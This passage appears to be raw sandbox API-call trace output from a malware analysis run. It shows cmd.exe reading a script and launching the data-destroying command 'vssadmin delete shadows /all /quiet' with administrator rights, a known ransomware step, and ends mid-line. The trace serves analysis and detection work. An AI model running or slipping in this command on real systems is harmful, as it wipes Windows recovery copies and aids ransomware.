lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.979] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.979] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0060.979] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.979] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.979] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.979] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0060.979] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.979] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.979] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.979] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0060.979] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.979] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.979] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.979] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0060.979] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.979] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.979] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.980] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0060.980] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.980] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.980] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.980] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0060.980] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.980] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.980] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.980] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0060.980] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.980] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.980] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.980] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0060.980] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.980] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.980] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.980] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0060.980] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.980] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.980] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.980] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0060.980] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.980] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.980] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.980] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0060.980] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.980] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.981] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.981] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0060.981] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.981] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.981] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.981] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0060.981] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.981] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.981] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.981] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0060.981] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.981] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.981] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.981] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0060.981] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.981] GetFileType (hFile=0xe8) returned 0x3 [0060.981] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.981] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.981] _get_osfhandle (_FileHandle=1) returned 0xf4 [0060.981] GetFileType (hFile=0xf4) returned 0x3 [0060.981] _get_osfhandle (_FileHandle=1) returned 0xf4 [0060.981] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x49f8c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0060.981] WriteFile (in: hFile=0xf4, lpBuffer=0x49f8c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x28f798, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesWritten=0x28f798*=0x24, lpOverlapped=0x0) returned 1 [0060.981] GetProcessHeap () returned 0x70000 [0060.981] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x4012) returned 0x8f630 [0060.982] GetProcessHeap () returned 0x70000 [0060.982] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x8f630 | out: hHeap=0x70000) returned 1 [0060.982] GetProcessHeap () returned 0x70000 [0060.982] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0xb0) returned 0x897e0 [0060.982] GetProcessHeap () returned 0x70000 [0060.982] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x22) returned 0x84610 [0060.983] GetProcessHeap () returned 0x70000 [0060.983] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x48) returned 0x8aa90 [0060.983] GetConsoleOutputCP () returned 0x4e3 [0060.983] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x49f8bfe0 | out: lpCPInfo=0x49f8bfe0) returned 1 [0060.983] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0060.983] GetConsoleTitleW (in: lpConsoleTitle=0x28f750, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0060.983] GetProcessHeap () returned 0x70000 [0060.983] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x218) returned 0x89910 [0060.983] GetProcessHeap () returned 0x70000 [0060.983] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x5a) returned 0x89b30 [0060.983] GetProcessHeap () returned 0x70000 [0060.983] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x420) returned 0x89090 [0060.984] SetErrorMode (uMode=0x0) returned 0x0 [0060.984] SetErrorMode (uMode=0x1) returned 0x0 [0060.984] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x890a0, lpFilePart=0x28efe0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x28efe0*="Desktop") returned 0x25 [0060.984] SetErrorMode (uMode=0x0) returned 0x1 [0060.984] GetProcessHeap () returned 0x70000 [0060.984] RtlReAllocateHeap (Heap=0x70000, Flags=0x0, Ptr=0x89090, Size=0x6e) returned 0x89090 [0060.984] GetProcessHeap () returned 0x70000 [0060.984] RtlSizeHeap (HeapHandle=0x70000, Flags=0x0, MemoryPointer=0x89090) returned 0x6e [0060.984] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f7f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0060.984] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0060.984] GetProcessHeap () returned 0x70000 [0060.984] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x128) returned 0x85b70 [0060.984] GetProcessHeap () returned 0x70000 [0060.984] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x240) returned 0x71ab0 [0060.984] GetProcessHeap () returned 0x70000 [0060.984] RtlReAllocateHeap (Heap=0x70000, Flags=0x0, Ptr=0x71ab0, Size=0x12a) returned 0x71ab0 [0060.984] GetProcessHeap () returned 0x70000 [0060.984] RtlSizeHeap (HeapHandle=0x70000, Flags=0x0, MemoryPointer=0x71ab0) returned 0x12a [0060.984] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f7f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0060.984] GetProcessHeap () returned 0x70000 [0060.984] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0xe8) returned 0x89db0 [0060.984] GetProcessHeap () returned 0x70000 [0060.984] RtlReAllocateHeap (Heap=0x70000, Flags=0x0, Ptr=0x89db0, Size=0x7e) returned 0x89db0 [0060.984] GetProcessHeap () returned 0x70000 [0060.984] RtlSizeHeap (HeapHandle=0x70000, Flags=0x0, MemoryPointer=0x89db0) returned 0x7e [0060.984] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0060.984] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x28ed50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ed50) returned 0xffffffffffffffff [0060.985] GetLastError () returned 0x2 [0060.985] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x28ed50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ed50) returned 0xffffffffffffffff [0060.985] GetLastError () returned 0x2 [0060.985] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0060.985] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x28ed50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ed50) returned 0x89ba0 [0060.985] FindClose (in: hFindFile=0x89ba0 | out: hFindFile=0x89ba0) returned 1 [0060.985] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x28ed50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ed50) returned 0xffffffffffffffff [0060.985] GetLastError () returned 0x2 [0060.985] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x28ed50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ed50) returned 0x89ba0 [0060.986] FindClose (in: hFindFile=0x89ba0 | out: hFindFile=0x89ba0) returned 1 [0060.986] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0060.986] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0060.986] GetConsoleTitleW (in: lpConsoleTitle=0x28f2a0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0060.986] GetProcessHeap () returned 0x70000 [0060.986] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x21c) returned 0x89110 [0060.986] GetConsoleTitleW (in: lpConsoleTitle=0x89120, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0060.986] GetProcessHeap () returned 0x70000 [0060.986] RtlReAllocateHeap (Heap=0x70000, Flags=0x0, Ptr=0x89110, Size=0xc0) returned 0x89110 [0060.986] GetProcessHeap () returned 0x70000 [0060.986] RtlSizeHeap (HeapHandle=0x70000, Flags=0x0, MemoryPointer=0x89110) returned 0xc0 [0060.986] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0060.987] GetProcessHeap () returned 0x70000 [0060.987] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x89110 | out: hHeap=0x70000) returned 1 [0060.987] InitializeProcThreadAttributeList (in: lpAttributeList=0x28f058, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x28f018 | out: lpAttributeList=0x28f058, lpSize=0x28f018) returned 1 [0060.987] UpdateProcThreadAttribute (in: lpAttributeList=0x28f058, dwFlags=0x0, Attribute=0x60001, lpValue=0x28f008, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x28f058, lpPreviousValue=0x0) returned 1 [0060.987] GetStartupInfoW (in: lpStartupInfo=0x28f170 | out: lpStartupInfo=0x28f170*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0060.987] GetProcessHeap () returned 0x70000 [0060.987] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x20) returned 0x84640 [0060.987] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0060.987] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0060.987] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0060.987] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0060.987] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0060.987] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0060.987] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0060.987] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0060.987] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0060.987] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0060.987] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0060.987] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0060.987] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0060.987] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0060.987] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0060.987] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0060.987] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0060.987] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0060.987] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0060.987] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0060.987] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0060.987] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0060.988] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0060.988] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0060.988] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0060.988] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0060.988] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0060.988] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0060.988] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0060.988] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0060.988] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0060.988] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0060.988] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0060.988] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0060.988] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0060.988] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0060.988] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0060.988] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0060.988] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0060.988] GetProcessHeap () returned 0x70000 [0060.988] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x84640 | out: hHeap=0x70000) returned 1 [0060.988] GetProcessHeap () returned 0x70000 [0060.988] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x12) returned 0x88900 [0060.988] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x28f090*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x28f040 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x28f040*(hProcess=0x50, hThread=0x54, dwProcessId=0xc4, dwThreadId=0x340)) returned 1 [0060.997] CloseHandle (hObject=0x54) returned 1 [0060.997] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0060.997] GetProcessHeap () returned 0x70000 [0060.997] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x8eb10 | out: hHeap=0x70000) returned 1 [0060.997] GetEnvironmentStringsW () returned 0x8eb10* [0060.997] GetProcessHeap () returned 0x70000 [0060.997] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0xb0e) returned 0x8f630 [0060.997] FreeEnvironmentStringsW (penv=0x8eb10) returned 1 [0060.997] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x28e948, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x28e948, ReturnLength=0x0) returned 0x0 [0060.997] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdf000, lpBuffer=0x28e980, nSize=0x380, lpNumberOfBytesRead=0x28e940 | out: lpBuffer=0x28e980*, lpNumberOfBytesRead=0x28e940*=0x380) returned 1 [0060.997] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) Process: id = "3" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x4325d000" os_pid = "0xa84" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xb1c" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 9 os_tid = 0xa88 Process: id = "4" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x4276e000" os_pid = "0xc4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xb1c" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 20 os_tid = 0x340 Thread: id = 21 os_tid = 0x76c Thread: id = 22 os_tid = 